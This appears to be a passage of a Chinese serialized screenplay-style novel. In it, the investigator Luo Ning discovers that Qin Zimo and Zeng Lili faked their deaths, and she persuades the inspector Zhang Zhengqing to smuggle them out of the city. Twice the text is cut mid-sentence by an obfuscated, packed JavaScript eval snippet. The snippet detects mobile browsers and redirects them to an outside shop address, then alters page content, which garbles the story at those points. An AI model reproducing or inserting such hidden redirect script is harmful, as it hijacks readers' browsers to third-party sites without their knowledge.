金鹏:他是我们的老大,一直跟威武帮的新帮主坐在一块儿,除了各帮派的头儿,谁敢给他敬酒呀? 余守泰:何平呢?他总跟你一样吧? 金鹏:我跟他比差远了!他跟那些帮派的人都很熟,人家给他敬酒,他喝也行、不喝也没人会怪他。但我就不一样了,我若是不喝,人家立马就翻脸,所以我只好硬着头皮全喝了。 余守泰:呵呵,你这个格斗场上的怒火雄狮,怎么到了吃喝场上就变成不中用的菜鸟了? 金鹏:唉,我原以为天地会是江湖门派,只要我的拳头够硬,就一定能有一番作为。如今来了方才知道,光靠拳头根本行不通! 余守泰:呵呵,其实这江湖,跟官场上是一个道理。除了会抡拳头之外,还得会做人。洛姑娘不是让你跟风堂主学习吗?你要是能变成他那样,人家给你敬酒时,你也可以不喝了。 金鹏:风堂主是谁呀,我就算在天地会里混上一辈子,也不可能变成他那样! 余守泰:话别说早了!正所谓青出于蓝胜于蓝,没准儿哪天你就超过他了呢! 余守泰打开柜子,从里面拿出一样东西递给金鹏。 金鹏:什么东西?不会又是香囊吧?我已经有一个了! 余守泰:不是香囊,是平安符,我在洪福寺的菩萨面前替你求的。 金鹏:你去洪福寺了?什么时候? 余守泰:中秋那天。原本是我自个儿去的,没想到却在那里碰上了两个真正的大人物。 金鹏:真正的大人物?谁呀? 余守泰:一个是洛堂主,另一个是张督察。 金鹏:(顿时来了兴趣)你见到洛堂主了?他长什么样子?是不是很威风啊? 余守泰:人家可是梁州商会的会长,能不威风吗?就连庙里的老和尚见了他,也不得不先低头作礼。 金鹏:张督察呢?是不是也像这个样子?我听说他是皇亲国戚…… 余守泰:张督察的头衔可多了,除了皇亲国戚之外,他还是太子伴读、当朝武状元,岁数说大不大,连媳妇都还没娶呢! 金鹏:啧啧,真了不起! 余守泰:是不是很羡慕他们呀?你只要好好地干,等你到了他们那个岁数,兴许比他们还要威风呢! 2-33 洛府,木兰小院,洛宁的屋子(日,内) 人物:洛宁、欧阳兰兰 洛宁正在吃早饭,欧阳兰兰来了。 洛宁:咦,兰兰,今儿怎么来得这么早? 欧阳兰兰:因为我知道只有在这个时候来,你才会在家嘛! 洛宁:早饭吃了没? 欧阳兰兰:还没有呢! 洛宁:那就坐下来一块儿吃吧! 欧阳兰兰:好啊! 洛宁:想喝点儿什么?红茶、绿茶、黑茶、白茶…… 欧阳兰兰:(打断她的话)给我来杯豆汁。 洛宁:欧阳兰兰,你想喝豆汁的话,还是去找我姐吧。 欧阳兰兰:宁姐姐,肚子还没填饱,这会儿喝茶,很容易醉的。 洛宁:我一会儿要去督察府,不喝这个会更难受。 欧阳兰兰:唉,行吧,那就给我来杯红茶,少放点儿奶,别放糖了。 洛宁:好,等着啊!(倒了杯茶,又把奶盅搁在欧阳兰兰的面前)想要多少,自己加吧。 欧阳兰兰:宁姐姐,你果然很没耐心呀! 洛宁:欧阳兰兰,我可没空跟你磨叽,想吃什么,赶紧说! 欧阳兰兰:(看了看桌子上的早点)那就……给我一块玉米饼,要最小的那个。 洛宁:最小的那个?够吃吗? 欧阳兰兰:想要身材好,饭就不能吃得太饱。 洛宁白了她一眼,把装有玉米饼的盘子放到她面前,欧阳兰兰挑出最小的一块,两口便吃完了。 洛宁:再多吃几块呗! 欧阳兰兰:(摆手)不用了!不用了!我已经吃饱了! 洛宁:真的吗?可我看你好像还是很饿…… 欧阳兰兰:再饿也不能吃了! 洛宁:以后我吃饭的时候,你还是别来了,免得人家说我舍不得给你吃。 欧阳兰兰:我在家里也是这样吃的,我娘怕我饿着,顿顿都会弄一大桌好吃的,不过最后很多都倒掉了。 洛宁:这要是被我姐看到了,肯定会骂你不惜福。 欧阳兰兰:骂我也吃不下,又不是我让他们做了这么多的东西。 欧阳兰兰往茶里加了些奶,用小勺轻轻地搅拌着。 欧阳兰兰:宁姐姐,你下午有空吗? 洛宁:怎么了? 欧阳兰兰:羽衣阁里新到了一批皮草,我想挑几样制成冬衣,你的眼光向来比我好,不如陪我去看看吧。 洛宁:可我下午有事。 欧阳兰兰:耽误一小会儿也不行吗? 洛宁:张大哥这几天都在府里,我要是溜出去的话,肯定又要被他骂。要不你还是让我姐陪你去吧! 欧阳兰兰:她的眼光跟我奶奶差不多,但凡颜色、式样花哨点儿的,她都看不上。 洛宁:欧阳兰兰,你穿惯了大红大绿,偶尔换一身素净点儿的,也不错嘛! 欧阳兰兰:可我希望自己不管走到哪里,都能成为万众瞩目的焦点! 洛宁:那就只能改日了。 洛宁说完,又接着吃早饭,欧阳兰兰也端起茶杯,小口小口地慢慢喝着。 欧阳兰兰:宁姐姐,我听说那天你们在河里发现的那具尸体是秦子陌? 洛宁:对呀,就是他。 欧阳兰兰:啧啧,怎么会这么巧?那天我们在路上,还碰巧说起了他,没想到人竟然没了! 洛宁:是啊,挺可惜的! 欧阳兰兰:人们都说他是被曾丽丽的父兄给逼死的! 洛宁:人是投河自尽的,按照他家人的说法,可能是因为曾丽丽的父兄坚决要求退婚,而曾丽丽又答应嫁给魏员外,所以他一时想不开,就寻了短见。 欧阳兰兰:唉,退婚就退婚呗,不值得搭上自己的性命!这些读书人的脑子里面,是不是只有一根筋呀? 洛宁:男婚女嫁,这种事情,说大不大,说小不小。在我看来,真正让秦子陌感到万念俱灰的,恐怕不是曾丽丽的父兄,而是曾丽丽答应嫁给魏员外这件事。她的软弱和逆来顺受,才是压垮他的最后一根稻草。 欧阳兰兰:嗯,有道理,如果她能勇敢点儿就好了。 洛宁:人已经死了,现在说这些又有何用? 欧阳兰兰:他这一死,反倒成全了人家。曾丽丽的父兄这几天,肯定做梦都会笑醒。 洛宁:唉,只能怪他俩有缘无分了。 2-34 天地会总会,和敬堂,金鹏和余守泰的屋子(日,内) 人物:金鹏、余守泰 余守泰连打了几个哈欠,一副懒洋洋的样子。 余守泰:唉,没想到中秋刚过,天一下就冷了。昨晚刮了一夜的风,害得我一宿都没睡成。 金鹏:不对吧,你昨晚可是打了一夜的呼噜。 余守泰:是吗?我怎么没听见? 金鹏:你当然听不见了,你睡得那么沉。反倒是我,左耳朵听着窗外的风声,右耳朵听着你的呼噜声,脑子里面一团糟,到现在还犯迷糊呢! 余守泰:唉呀,真不好意思,可能是这几天太累了吧! 金鹏:哥,我见你最近总往外跑,不会在外面又有什么相好了吧? 余守泰:嘿嘿,不愧是我的老弟,一猜一个准!告诉你吧,这姑娘是我那天在店里给你买香囊的时候,碰巧认识的。 金鹏:唉,哥,不是我说你,你瞧你这些年来都交往了多少个女人,到最后有一个愿意嫁给你吗?还不都是把你的钱骗得一干二净,然后一脚把你给蹬了! 余守泰:这回的这个跟以前的都不一样,人家对我可是真心实意的。 金鹏:你哪回不是这样说的呀? 余守泰:哥向你保证,这回一定能成! 金鹏:唉,算了,懒得跟你说了,说了也白说! 2-35 天地会总会,听雨轩(日,内) 人物:洛宁、洛青、欧阳兰兰 洛青和洛宁正在喝茶聊天,却见欧阳兰兰慌慌张张地来了。 欧阳兰兰:两位姐姐!出大事了! 洛青:什么事呀这么慌? 欧阳兰兰:你们听说了吗?外面都在疯传,曾丽丽在嫁给魏员外的当晚,突发急病死了! 姐妹俩吃了一惊。 洛青:怎么会发生这种事情?我们那天在洪福寺里见到她时,人不还是好好的吗? 欧阳兰兰:起初我听到这个消息,也觉得不太可能,便让我哥去问曾丽丽的父兄,没想到竟然是真的!唉,你看秦子陌才死了没多久,曾丽丽就跟着死了,这未免也太巧了吧!人们都说是因为秦子陌死得不甘不愿,所以才要把曾丽丽也带上,让她去阴曹地府里陪着他。既然两个人活着的时候不能在一起,那就死了在阴间做一对夫妻! 洛宁:呵呵,这坊间的传闻还真是神乎其神呀! 洛青:到底怎么回事?曾丽丽是怎么死的? 欧阳兰兰:我听说早上曾丽丽嫁到魏家的时候,人还好好的,婚礼办得挺热闹,宾客们也都尽兴而归。不曾想到了晚上,魏员外去她的屋子里时,却发现她躺在地上不醒人事,只有出气没有进气。魏员外吓坏了,立马差人去请大夫,等厚德医馆的胡大夫来到魏家时,人已经没救了。 洛青:怎么会这么突然?是不是中毒了? 欧阳兰兰:曾丽丽的父兄也这样怀疑过,于是就请胡大夫给她做了检查。 洛宁:咦,这种事情难道不应当先报官、然后交由仵作来验尸吗?怎么会让一个医馆的大夫给她做检查呢? 欧阳兰兰:宁姐姐,那胡大夫不仅仅是厚德医馆的大夫,他也跟你一样,兼任着县衙的仵作。 洛宁:哦,这样啊。那他检查完之后怎么说? 欧阳兰兰:他说曾丽丽不是中毒,而是突发急病死的。 洛宁:那就是个意外了。 欧阳兰兰:对呀。 洛青:后来呢?既然曾丽丽和秦子陌都死了,她的父兄这下可该消停了吧? 欧阳兰兰:消停?怎么可能!反而闹得更大了!魏家的人说曾丽丽的尸体放在家中不吉利,让她的父兄把人抬回去埋了,可她的父兄坚决不肯,说婚礼既然已经办完了,那曾丽丽就是魏家的人了,就算是安葬,也应当由魏家的人来做,不应当由他们来做。而魏家的人认为自己出了彩礼、却没娶到媳妇,如今还要再多一笔丧葬费,心里又怎么会乐意?所以也坚决不肯。双方就这样僵持着,谁也不肯相让。最后还是胡大夫看不下去了,自掏腰包买了口棺材,把曾丽丽给埋了。 洛青:唉,人都已经死了,他们却还在为一点点丧葬费斤斤计较,怎么会有这样的父兄啊! 欧阳兰兰:更精彩的还在后面呢!魏员外因为没娶到媳妇,便向曾丽丽的父兄讨要彩礼,而曾丽丽的父兄只顾着喝喜酒,还没来得及对彩礼进行清算,此时二人回家一看,那装着彩礼的箱子里,全是些土疙瘩,哪有什么银子?于是又反过来怪魏员外欺骗他们,用土疙瘩冒充彩礼。双方争执不休,一直闹到了公堂上。县太爷一大清早人还没睡醒,就被他们给吵醒了,肚子里正窝着火呢,见双方又吵又闹,甚至动起手来,终于忍无可忍,将他们各打五十大板之后,轰出了县衙。县太爷还说,既然他们双方一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007360|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没了人、一个没了钱,那就互不相欠,无需再打官司了。 洛宁:啧啧,县太爷断得可真分明! 洛青:唉,只可怜了秦子陌和曾丽丽这对苦命的鸳鸯,被她贪财的父兄给活活拆散了! 洛宁:兰兰,那胡大夫把曾丽丽埋在了什么地方?是不是跟秦子陌合葬在一起? 欧阳兰兰:没有。因为秦子陌自尽的事情,秦家人对曾丽丽的父兄本来就心怀愤恨,更何况曾丽丽已经嫁给了魏员外,二人又怎么能合葬在一起呢! 洛宁:也是。那她被埋在哪里呀? 欧阳兰兰:还能在哪里?当然是富春城北面的断头谷了!魏员外和她的父兄都不肯出钱,胡大夫也不过是好心帮忙,所以只能挑了个最便宜的地方,草草地把人给埋了。 洛青:胡大夫这样做,可是积了阴德呀! 洛宁:兰兰,你这么会讲故事,怎么不去写书呀? 欧阳兰兰:宁姐姐,你可真是我的知心人,我原先也正有这方面的打算,反正从早到晚闲着也是闲着! 洛青:(见二人有说有笑,不高兴地呵斥)喂!两条活生生的人命就这么没了,你俩居然还有心情说笑,真是一点同情心都没有! 洛宁:姐!人生如戏、戏如人生,正因为秦子陌和曾丽丽这件事,我们才会明白,凡事不能太较真!哈哈! 梁州,富春城 2-36 断头谷(夜,外) 人物:洛宁、银华、金鹏 富春城北面山麓,俗称“断头谷”。黑漆漆的夜晚,三个人影打着灯笼,穿梭在墓葬间。 银华:宁儿,你想找谁的坟? 洛宁:曾丽丽。 银华:曾丽丽?是不是前两天才死的那个新娘子? 洛宁:正是! 银华:喂喂喂,人家才死了没几天,尸骨未寒,你这就要刨人家的坟,是不是太心急了? 洛宁:想知道她是怎么死的,就必须趁现在。总不能等她化为一堆白骨的时候再来刨吧? 银华:怎么?你该不会怀疑她是被人害死的吧? 洛宁:我可没这么说。 银华:那胡大夫可是你的同行,他已经说了曾丽丽是突发急病死的,难道你连他的话都不信吗? 洛宁:我信呀,不过我更相信自己的直觉。 银华:要我说,甭管她是怎么死的,都跟你没关系。她的父兄都没说什么,你瞎操什么心呀?更何况这也不是你们督察府的案子呀! 洛宁:听你这话的意思,我是多管闲事了? 银华:额,不是!我的意思是,有这工夫,不如干点儿别的…… 洛宁:别的什么? 银华:比如说,培养点儿别的兴趣爱好。 洛宁:别的兴趣爱好?那你倒是说说,我是应该像我姐那样从早到晚不停地绣绣绣呢、还是应该像欧阳兰兰那样一年到头不停地买买买呢? 银华:唉,看来我又说错话了! 洛宁:我看你根本就是不想帮忙,那你走吧,大不了我自己来!哼! 银华:怎么才说两句就生气了呀?好好好,我闭嘴行了吧! 洛宁:就你话多!你瞧瞧人家金鹏,从来到现在,一直低着头在找曾丽丽的坟,哪像你这么啰嗦呀! 银华:他?呵呵,你没发现他提着灯笼的手直打哆嗦吗?他之所以不说话,不是因为不想说,而是因为不敢说。哈哈! 金鹏:(尴尬地笑了笑)我从来没在大半夜里来过这种地方,所以总感觉有点儿瘆得慌。 银华:(朝洛宁挤挤眼)说的没错!谁会在大半夜里来这种地方呢? 洛宁:(两眼一瞪)银华! 银华:好好好,我不说了!我看你这个挖坟掘墓的怪癖这辈子都戒不掉了!唉,反正我也不是头一回干这个,大不了陪你一起下地狱了…… 洛宁:陪我一起下地狱?你什么意思?难不成你俩是在帮我干坏事了? 银华:这个嘛……不是常听人说,挖坟掘墓有损阴德吗? 洛宁:那得分情况!如果是冲着死者的财物去的,肯定有损阴德;但咱们是为了寻找真相,跟他们不一样,知道吗? 银华:(忙不迭点头)明白了!明白了!哈哈! 三个人找了半天,终于发现了上面写有曾丽丽名字的墓。 银华:找到了! 洛宁:太好了!赶紧挖吧! 银华:你可要想清楚了!曾丽丽死的时候本来就不甘心,如今你再将她的尸骨刨出来,令她死后也不得安宁,就不怕她变成厉鬼来找你算账吗? 洛宁:正因为她死的时候不甘心,所以我才更要弄清楚她到底是得了什么急病死的。我这样做,可是在替她抱不平,她应该感谢我才对,又怎么会害我呢? 银华:好吧,反正你怎么说都有理。 洛宁:(不耐烦地)喂!你到底是挖还是不挖呀? 银华:挖挖挖!我这就挖!这样总行吧! 银华拿起铲子,动手挖坟,金鹏也壮起胆子给他帮忙。才刨了几下,银华突然停下来,指着金鹏的身后,结结巴巴地说。 银华:金……金鹏!你你你、你的背后……好……好像有个东西! 金鹏:啊?! 金鹏吓得不敢动弹,洛宁见状,使劲儿捶了银华一下。 洛宁:银华,你吓唬他做什么?(对着金鹏)金鹏,别理他,他跟你闹着玩呢!你背后什么东西都没有,若真有什么东西,他早就跑了! 银华:哈哈哈…… 银华放声大笑,金鹏这才明白他是在开玩笑,松了口气。 不一会儿工夫,棺木便露了出来。 银华:宁儿,你确定要开棺验尸吗?曾丽丽可是得急病死的,小心别被她传染了! 洛宁:少废话,赶紧打开! 银华:(无奈地叹了口气)唉,好吧! 银华和金鹏合力打开棺盖,跟着倏地一愣。 银华:咦,怎么是空的? 金鹏:对呀,尸体呢? 二人互相对望了一眼,又把目光投向洛宁,她正皱着眉头,若有所思。 金鹏:会不会弄错了? 银华:这上面清清楚楚地写着曾丽丽的名字,怎么会弄错呢? 金鹏:我听说某些地方有为亡者配阴婚的习俗,会不会有人把尸体盗走了? 银华:知道这个地方为什么叫断头谷吗?因为这个地方的风水极差,并不适合当墓地。所以在这个地方埋着的都是些死刑犯、流浪汉和无人认领的尸体,怨气极重。就算是配阴婚,也没人会想到从这里偷尸体。 金鹏:那又是怎么回事呀? 洛宁:(微微一笑)呵呵,看来曾丽丽有心要和我们捉迷藏呢! 银华:什么意思? 金鹏:对呀,曾丽丽的尸体到底去哪儿了?听你这话的意思,我怎么觉得她像是诈尸了呢? 银华:(吓了一跳)诈尸?开什么玩笑!别吓唬人! 金鹏:(笑了起来)噢,原来你也会怕呀! 银华:(红着脸争辩)我怕她干嘛?我是担心你们两个! 洛宁:(笑着对银华)嘻嘻,说的没错!如果待会儿曾丽丽突然冒出来的话,你肯定比我们两个都溜得快!谁让你是恩威堂的高手呢! 银华:(不高兴地)喂喂喂,你什么意思呀?以往遇上麻烦,不都是我在护着你吗?你看我什么时候当过逃兵? 洛宁:那你现在是不是很想知道曾丽丽在哪儿呢? 银华:这还用问吗?咱们仨大老远地跑来这里挖坟掘墓,不就是为了找她吗? 洛宁:那你先帮我做件事。 银华:什么事?快说! 洛宁:跟踪秦子陌的妹妹秦子怡。 银华:这跟她有什么关系? 洛宁:以后你会知道。 银华:又在卖关子是吧?行!不就是跟踪一个人吗?小事一桩!我倒要看看这曾丽丽有多大的本事,能躲到哪里去!哼! 14. 第二篇 总会的四个堂 梁州,凤凰城 2-37 天地会总会,听雨轩(日,内) 人物:洛宁、银华、金鹏 洛宁正在教金鹏画画,银华自外面风风火火地闯了进来。 银华:(进门便道)真是活见鬼了! 洛宁:(回头望着银华)怎么了? 银华:那天你不是让我跟踪秦子陌的妹妹秦子怡吗?你猜我看见谁了? 洛宁:谁呀? 银华:嘿嘿,我也卖卖关子,让你俩先猜猜看! 金鹏:唉呀,我肯定猜不到! 银华:(瞅着洛宁)嘿嘿,丫头,你呢? 洛宁:既然你让我猜猜看,那我就试一试,应该是秦子陌和曾丽丽吧! 银华:(吃惊)啊!你怎么知道?该不会你早就……噢!这么说,那天我们去断头谷时,你就已经知道曾丽丽的棺材里面是空的了! 洛宁:(摇摇头)也不完全是!确切地说,在没有打开她的棺盖之前,我的心中尚有些疑问,但在打开棺盖之后,所有的疑问都烟消云散了。 金鹏:你的意思是,秦子陌和曾丽丽没死? 银华:对呀!两个大活人呢!简直不敢相信我的眼睛! 金鹏:到底怎么回事呀? 银华:是啊,怎么会这样? 洛宁:嘻嘻,想知道真相的话,就跟我来吧! 银华/金鹏:去哪儿? 洛宁:去找张大哥! 梁州,富春城 2-38 马车车厢(日,内) 人物:洛宁、张正清 张正清和洛宁坐在马车上,银华和金鹏骑着马,与他们同行。 越往前走,景色越荒凉。 张正清:小鬼!你不是说想去看戏吗?怎么到这种地方来了? 洛宁:张大哥,别着急!今天我请你看的这出戏,跟别的戏不一样,它只在这种穷乡僻壤里才会上演,而且我敢向你保证,绝对比你以往看过的任何一出戏都更加精彩! 张正清:看你这副神秘兮兮的样子,肯定没好事儿!好吧,我就陪你去看看,可千万别让我失望哦! 洛宁:放心吧,张大哥!一定会让你尽兴而归! 2-39 农舍(日,外) 人物:洛宁、张正清、银华、金鹏、曾丽丽、秦子陌 自马车上下来后,银华在前面带路,一行人走了许久,方才看见隐藏在树林深处的一户农舍。 洛宁:(问银华)是这里吗? 银华:(点点头)嗯,就是这里。 洛宁:(对着张正清)张大哥!咱们过去看看吧! 洛宁和张正清刚走到农舍前,门便开了,从里面出来一个人,正是曾丽丽。 见到他们,曾丽丽吓了一跳,手中的水盆咣当一声落在地上。 张正清:曾丽丽? 张正清也觉得非常意外,他回头看了看洛宁,她的脸上挂着笑。 张正清:(问洛宁)怎么回事? 洛宁:(朝曾丽丽努努嘴)你问问她不就知道了? 张正清走上前,皱着眉头将曾丽丽打量了一番。 张正清:曾丽丽,你不是已经死了吗?怎么会在这里? 曾丽丽:我…… 曾丽丽看了看张正清,又看了看洛宁,欲言又止。 洛宁:(对着曾丽丽)曾姑娘,秦先生呢?不如让他也出来见见督察大人吧! 张正清:(又吃了一惊)秦子陌?你的意思是他俩都还活着? 洛宁:这样难道不是件好事吗?(对着曾丽丽)曾姑娘,别害怕!督察大人今日来这里,不是为了抓你们回去,而是为了替你们主持公道。 曾丽丽:(不放心地望着他俩)真……真的吗? 洛宁:你看督察大人身上穿的是常服、不是官服,这一趟除了我和他之外,也没有带任何随从。 听了这话,曾丽丽的神色稍有缓和,她再次将二人打量了一番,点点头。 曾丽丽:那……行吧!子陌,快出来! 秦子陌出来后,二人一起拜见了张正清,又将他迎进屋里,在一张十分简陋的桌子旁坐下。 2-40 农舍(日,内) 人物:洛宁、张正清、曾丽丽、秦子陌 曾丽丽望了一眼秦子陌,方才开口。 曾丽丽:既然大人您已经找到了这里,那么我和子陌也就没必要再隐瞒下去了! 张正清:到底发生了什么事?你俩为何要装死? 曾丽丽:大人,请您听我说!我和子陌自幼订下婚约,又从小一起长大,彼此之间早已情愫暗生。今生今世,他非我不娶,我非他不嫁。可恨的是,我那两个贪财的父兄,不仅将家里的财产挥霍殆尽,还逼着子陌退婚,非要将我嫁给魏员外当小老婆。原本,我和子陌打算不顾一切远走高飞,可是他的妹妹尚且年幼,家中还有二老需要赡养。更何况以我父兄那泼皮无赖的性子,只要我俩还活着,他们就不会善罢甘休,就算找不到我们,也断然不会放过子陌的家人。无奈之下,我们只好想出了这个办法,让他们误以为我俩死了,从此后也就不会再纠缠我们了。 张正清:河里的那具尸体又从何而来? 曾丽丽:是我们花钱从别处买来的一具溺亡者的尸体,因为他的身形与子陌相似,我们给他穿上了子陌的衣裳,丢入水中,让人们以为子陌是为情所困、投河自尽的。 张正清:胡大夫是县衙的仵作,若你诈死,他不可能看不出来,除非他有意包庇。你们与他是何关系? 曾丽丽:胡大夫与子陌是知交多年的好友,也十分清楚我和子陌之间的事情。那夜我假装病死,也是事先服用了他给的药。正因为他是仵作,所以只要他说我是突发急病死的,就没有人会怀疑。 张正清:原来如此。那魏员外的彩礼呢?到底是真是假? 曾丽丽:是真的,他确确实实给了我的父兄五百两银子的彩礼。 张正清:这么说,是你们把银子给偷换了? 曾丽丽:不是我们,是我的奶娘。我娘死得早,父兄又靠不住,唯有奶娘视我如己出,无微不至地照顾我,将我抚养长大。也正因为此,关于这次的事情,我不曾对她有所隐瞒。她清楚子陌家中的境况,担心我俩私奔之后生活困苦,所以就趁着我父兄出门喝喜酒的工夫,把银子给偷换了。 秦子陌:(从床底下取出一个箱子)大人!银子在这里,分文不少!我俩并没有贪图它的意思,您可以把它拿回去还给魏员外。 曾丽丽:是啊!大人,我们知道不该诈死、欺骗大家,如果您要治罪的话,我们甘愿领受!但求您务必高抬贵手,放过胡大夫和我的奶娘,他俩是为了成全我和子陌,才好心出手相助。整件事自始至终,都是我和子陌一手策划,与他们无关。求您放过他们吧! 秦子陌:大人!所有的罪责,子陌愿一力承担!求大人放过丽丽吧! 曾丽丽和秦子陌双双跪下,苦苦哀求。 张正清:(瞅着洛宁)小鬼,你今天带我来这里,原来是有心给我出难题呀! 洛宁:嘻嘻,张大哥,君子成人之美!你看他俩这般情深意重、又这般委曲求全,你向来宅心仁厚,又怎么会忍心责罚他们呢? 张正清:那你倒是说说,这件事该怎么办? 洛宁:张大哥!既然魏员外的彩礼,是曾丽丽的父兄收的,那么理应由他们来偿还。更何况曾丽丽也是曾家的一份子,他们曾家的财产本来就有她的一份,可惜全被她的父兄给挥霍光了,这就相当于他们欠她的,那么这五百两银子,正好可以用来偿还债务,不如就作为曾丽丽与秦子陌成亲时的嫁妆,无须再归还。与此同时,曾丽丽和秦子陌虽然诈死、欺骗大家,但他们并没有伤害到任何人,也没有造成任何无法挽回的后果,可谓是无益也无害。至于魏员外与曾丽丽的父兄之间的官司,县太爷那边已经结案了,咱们又何必多管闲事呢! 张正清:你这套说词,是不是早就想好了? 洛宁:嘻嘻,张大哥,你就做一个顺水人情,让他们有情人终成眷属吧! 张正清:(对着曾丽丽和秦子陌)你俩听见没?这个小鬼今天带我来这里,不是让我来断案的,而是让我来给你俩做媒的。 曾丽丽/秦子陌:(十分欢喜)求大人成全我俩! 张正清:你俩先起来吧!(又问洛宁)小鬼,这件事情你本来可以替他们隐瞒,没必要让我知道,可你偏偏要告诉我,什么意思呀?该不会还有别的事吧? 洛宁:张大哥,我还没开口你就已经知道了,真是料事如神! 张正清:谁让我上你的贼船呢,想干什么赶紧说! 洛宁:张大哥,你也知道,秦子陌和曾丽丽的这件事,已经传遍了整个富春城,可谓是无人不知、无人不晓。正因为此,他俩才会一直躲在这里,不敢出城,害怕一旦被认出来了,就会前功尽弃。可是一直躲在这里,毕竟不是长久之计,如果哪天一不小心被别人发现了,必定会惹来无尽的麻烦。俗话说的好,送佛送到西,你看你能不能好人做到底,再帮他们一把呢? 张正清:哼,这才是你让我来的真正目的吧? 洛宁:嘻嘻,张大哥,你就帮帮他们吧! 曾丽丽:大人,洛姑娘说得极是!我俩正是因为害怕被人认出来了,所以才会一直躲在这里,虽然暂时避过了风头,但终究无法周全。一想到如果被人发现,不但我俩无法在一起,更会殃及胡大夫、我的奶娘和秦家的二老,我俩就寝食难安,在这里的日日夜夜,无不提心吊胆,一刻也不曾安宁过。求大人,帮帮我们吧! 秦子陌:是啊!求大人帮帮我们吧! 秦子陌和曾丽丽再次双双跪下,苦苦哀求。 张正清:(叹了口气)唉,既然你们已经走到了这一步,我若不答应,倒显得我不近人情了。你俩起来吧,我帮你们便是! 2-41 关卡(日,外) 人物:张正清、洛宁、金鹏、银华、吕卫长及其手下 公差正在检查过往的车马人流。张正清带着洛宁、银华、金鹏,押着两个大箱子,来到关卡前。 吕卫长:(上前作礼)张大人! 张正清:(冲着他点点头)吕大人! 吕卫长:张大人,您这是要出城吗? 张正清:嗯。这两个箱子里装的是从县衙里调取的案卷,吕大人您要不要看一下? 吕卫长:既然是由张大人您亲自押送,下官就不用看了。更何况案外人不得翻阅案卷的规定,下官也是知道的。 张正清:那就请吕大人行个方便吧! 吕卫长:(点点头,命令手下)放行! 张正清:多谢吕大人! 吕卫长:张大人您慢走! 梁州,郊外 2-42 马路上(日,外) 人物:张正清、洛宁、曾丽丽、秦子陌、金鹏、银华 出了城,又往前走了一段,见四下无人,张正清这才让众人打开箱子,将曾丽丽和秦子陌放了出来。 张正清:(对着曾丽丽和秦子陌)从这里往南走,天黑之前应该可以赶到鲁水城,我有一个朋友在那里,他叫赫文彬,你们可以向他求助,他的人脉广、路子多,可以助你们前往越州。 曾丽丽/秦子陌:张大人,您的大恩大德,我们会永远铭记在心! 张正清:到了那边好好地过日子,别忘了给秦家的二老写封信报平安。 曾丽丽:嗯!我和子陌原先就打算在那边安顿下来之后,把秦家的二老和他妹妹也接过去,一家人住在一块儿,共享天伦。 张正清:嗯,应该这样! 曾丽丽:洛姑娘,有件事我一直想问你…… 洛宁:什么事?你说! 曾丽丽:我和子陌诈死的事情,我们自以为已经做得足够小心了,没想到还是被你看穿了。你是怎么发现的? 张正清:(故意板起脸)是啊,小鬼!你是怎么发现的?快给我从实招来! 洛宁:嘻嘻,其实也没什么,不过就是一个小小的细节而已!秦先生的父母曾经说过,秦先生是家中独子,他们的家境虽然贫寒,却依然沿袭着祖上书香门第的遗风,哪怕十分艰难,也一定要供秦先生读圣贤书、考取功名。所以,为了让他能够专心念书,他们家从来不让他干任何重活。但是那天我们在河里发现的那具男尸,手上布满了厚厚的老茧,一看就知道是经常从事劳作的结果。所以,虽然秦先生的父母在认尸的时候,一口咬定那就是秦先生本人,但我心里明白他并不是。 曾丽丽:原来从那时起,你就在怀疑我们了,可你为何不直接挑明呢? 洛宁:因为我也很想知道你们为何要这样做呀! 张正清:(故作生气)你这个小鬼,早就发现了,却一直瞒着我。哼! 洛宁:那我总要先查清楚吧?如果一不小心弄错了,岂不是又要被你骂了! 张正清:(没好气地)原来在你眼里,我这么不通情理呀!唉,早知道我今天就不跟你过来了!哼! 曾丽丽:大人您对我和子陌的救助,无异于雪中送炭,您是我们见过的官员里面,最正直善良的一位!更何况在您的身边,还有洛姑娘这位细心的好帮手,您可真是慧眼识英才啊! 洛宁:嘻嘻,曾姑娘,你这么会说话,当初若是进了宫,肯定能讨皇上的欢心!不过你最令人敬佩的地方,就是专情,能娶到这样的女子为妻,秦先生你可真有福呀! 秦子陌:洛姑娘说得极是。今生今世,我一定会好好地珍惜丽丽! 张正清:嗯。时候不早了,你们还是快出发吧! 洛宁:银华、金鹏!你俩一定要把曾姑娘和秦先生平平安安地护送到鲁水城哟! 银华/金鹏:放心吧,交给我们了! 2-43 马车车厢(夜,内) 人物:张正清、洛宁 张正清盯着洛宁看了半天,方才开口。 张正清:小鬼,原来这就是你请我看的戏呀? 洛宁:是不是很精彩呀? 张正清:精彩极了!(脸倏地一沉)哼!正因为你,我张正清为官这么多年来,生平第一次知法犯法!小鬼,你的胆子可真不小,连我都敢利用!看来我过去真是太纵容你了!哼! 洛宁:张大哥,你这哪里是知法犯法呀?你这可是法外施恩,做好人办好事呢!当官不就是要为民做主、为民请愿吗?那曾丽丽和秦子陌不也是你辖区里的百姓吗?当他们身处困境时,你出手相助,这才叫胜造七级浮屠呢! 张正清:哼!少拍马屁! 洛宁:要不我请你吃饭,给你赔罪好不好? 张正清:(假装想了想)嗯……看在你有心认错的份上,行吧! 洛宁:太好了!我就说张大哥你是个大好人嘛! 张正清:别着急,我还有个条件。 洛宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007361|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :什么条件? 张正清:既然是你请我吃饭,那么在哪里吃、吃什么都应该由我来决定。 